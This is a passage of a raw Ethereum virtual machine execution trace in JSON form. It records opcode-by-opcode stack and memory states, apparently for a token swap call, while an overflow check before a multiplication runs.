000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15099,"op":"JUMPDEST","gas":101896,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0","0x1507","0xc50dfd48a20630e6","0x10e3cc5b0568a440000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15100,"op":"PUSH1","gas":101895,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0","0x1507","0xc50dfd48a20630e6","0x10e3cc5b0568a440000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15102,"op":"DUP2","gas":101892,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0","0x1507","0xc50dfd48a20630e6","0x10e3cc5b0568a440000","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15103,"op":"PUSH1","gas":101889,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0","0x1507","0xc50dfd48a20630e6","0x10e3cc5b0568a440000","0x0","0x10e3cc5b0568a440000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15105,"op":"NOT","gas":101886,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0","0x1507","0xc50dfd48a20630e6","0x10e3cc5b0568a440000","0x0","0x10e3cc5b0568a440000","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15106,"op":"DIV","gas":101883,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0","0x1507","0xc50dfd48a20630e6","0x10e3cc5b0568a440000","0x0","0x10e3cc5b0568a440000","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15107,"op":"DUP4","gas":101878,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0","0x1507","0xc50dfd48a20630e6","0x10e3cc5b0568a440000","0x0","0xf2834070af3400a9a446c7a77ae9dd7c241a01919e4018"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15108,"op":"GT","gas":101875,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0","0x1507","0xc50dfd48a20630e6","0x10e3cc5b0568a440000","0x0","0xf2834070af3400a9a446c7a77ae9dd7c241a01919e4018","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15109,"op":"DUP3","gas":101872,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0","0x1507","0xc50dfd48a20630e6","0x10e3cc5b0568a440000","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15110,"op":"ISZERO","gas":101869,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0","0x1507","0xc50dfd48a20630e6","0x10e3cc5b0568a440000","0x0","0x0","0x10e3cc5b0568a440000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15111,"op":"ISZERO","gas":101866,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0","0x1507","0xc50dfd48a20630e6","0x10e3cc5b0568a440000","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15112,"op":"AND","gas":101863,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0","0x1507","0xc50dfd48a20630e6","0x10e3cc5b0568a440000","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15113,"op":"ISZERO","gas":101860,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0","0x1507","0xc50dfd48a20630e6","0x10e3cc5b0568a440000","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15114,"op":"PUSH2","gas":101857,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0","0x1507","0xc50dfd48a20630e6","0x10e3cc5b0568a440000","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15117,"op":"JUMPI","gas":101854,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0","0x1507","0xc50dfd48a20630e6","0x10e3cc5b0568a440000","0x0","0x1","0x3b15"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15125,"op":"JUMPDEST","gas":101844,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0","0x1507","0xc50dfd48a20630e6","0x10e3cc5b0568a440000","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15126,"op":"POP","gas":101843,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0","0x1507","0xc50dfd48a20630e6","0x10e3cc5b0568a440000","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15127,"op":"MUL","gas":101841,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9